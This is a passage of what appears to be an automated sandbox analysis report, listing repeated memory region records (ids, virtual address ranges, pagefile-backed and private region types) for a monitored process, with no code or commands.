"pagefile_0x0000000000450000" filename = "" Region: id = 10478 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10479 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10480 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10481 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10482 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10483 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10484 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10485 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10486 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10487 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10488 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10489 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10490 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10491 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10492 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10493 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10494 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10495 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10496 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10497 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10498 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10499 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10500 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10501 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10502 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10503 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10504 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10505 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10506 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10507 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10508 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10509 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10510 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10511 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10512 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10513 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10514 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10515 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10516 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10517 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10518 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10519 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10520 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10521 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10522 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10523 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10524 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10525 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10526 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10527 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10528 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10529 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10530 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10531 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10532 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10533 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 10534 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 10535 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10536 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10537 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10538 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10539 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10540 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10541 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10542 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10543 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10544 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10545 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10546 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10547 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10548 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10549 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10550 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10551 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10552 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10553 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10554 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10555 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10556 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10557 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10558 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10559 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10560 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10561 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10562 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10563 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10564 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10565 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10566 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10567 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10568 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10569 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10570 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10571 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10572 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10573 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10574 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10575 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10576 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10577 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10578 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10579 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10580 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10581 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10582 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10583 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10584 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10585 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10586 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10587 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10588 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10589 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10590 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10591 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10592 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10593 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10594 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10595 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10596 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10597 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10598 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10599 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10600 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10601 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10602 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10603 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10604 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10605 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10606 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10607 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10608 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10609 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10610 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10611 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10612 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10613 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10614 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10615 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10616 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10617 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10618 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10619 start_va = 0x130d0000 end_va = 0x135c2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000130d0000" filename = "" Region: id = 10620 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10621 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10622 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10623 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10624 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10625 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10626 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10627 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10628 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10629 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10630 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10631 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10632 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10633 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10634 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10635 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10636 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10637 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10638 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10639 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10640 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10641 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 10642 start_va = 0x144d0000 end_va = 0x149c1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000144d0000" filename = "" Region: id = 10643 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 10644 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10645 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10646 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10647 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10648 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10649 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10650 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10651 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10652 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10653 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10654 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10655 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10656 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10657 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10658 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10659 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10660 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10661 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10662 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10663 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10664 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10665 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10666 start_va = 0x6d0000 end_va = 0x6d1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 10667 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 